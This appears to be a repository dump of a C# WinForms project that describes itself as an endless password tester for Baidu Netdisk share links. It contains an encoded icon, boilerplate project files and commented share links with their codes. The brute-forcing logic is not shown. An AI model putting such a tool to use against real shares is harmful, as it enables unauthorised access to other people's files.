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
m10LB/oAAAAASUVORK5CYII=
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Program.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
namespace zgcwkj
{
static class Program
{
///
/// 应用程序的主入口点。
///
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Main());
//https://pan.baidu.com/share/init?surl=dFlOQid
//lzte
//https://pan.baidu.com/s/1bEeTsU
//ebdf
}
}
}
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
[assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("zgcwkj")]
[assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("zgcwkj")]
[assembly: AssemblyCulture("")]
//将 ComVisible 设置为 false 将使此程序集中的类型
//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
// 方法是按如下所示使用“*”: :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.8.0.4")]
[assembly: AssemblyFileVersion("1.8.0.4")]
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Properties/Resources.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
using System;
///
/// 一个强类型的资源类,用于查找本地化的字符串等。
///
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
///
/// 返回此类使用的缓存的 ResourceManager 实例。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
///
/// 使用此强类型资源类,为所有资源查找
/// 重写当前线程的 CurrentUICulture 属性。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Properties/Resources.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Properties/Settings.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Properties/Settings.settings
================================================
================================================
FILE: TestPassword V1.8.0.4/TestPassword/StaticClass.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace zgcwkj
{
///
/// 静态类
///
public static class StaticClass
{
///
/// 线程状态
///
public static bool status { get; set; }
///
/// 目标连接
///
public static string url { get; set; }
///
/// 存放的路径
///
public static string file { get; set; }
}
}
================================================
FILE: TestPassword V1.8.0.4/TestPassword/TestPassword.csproj
================================================
Debug
AnyCPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}
WinExe
Properties
zgcwkj
TestPassword
v4.0
512
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
ico.ico
Form
Main.cs
Main.cs
ResXFileCodeGenerator
Resources.Designer.cs
Designer
True
Resources.resx
True
SettingsSingleFileGenerator
Settings.Designer.cs
True
Settings.settings
True
================================================
FILE: TestPassword V1.8.0.4/TestPassword.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
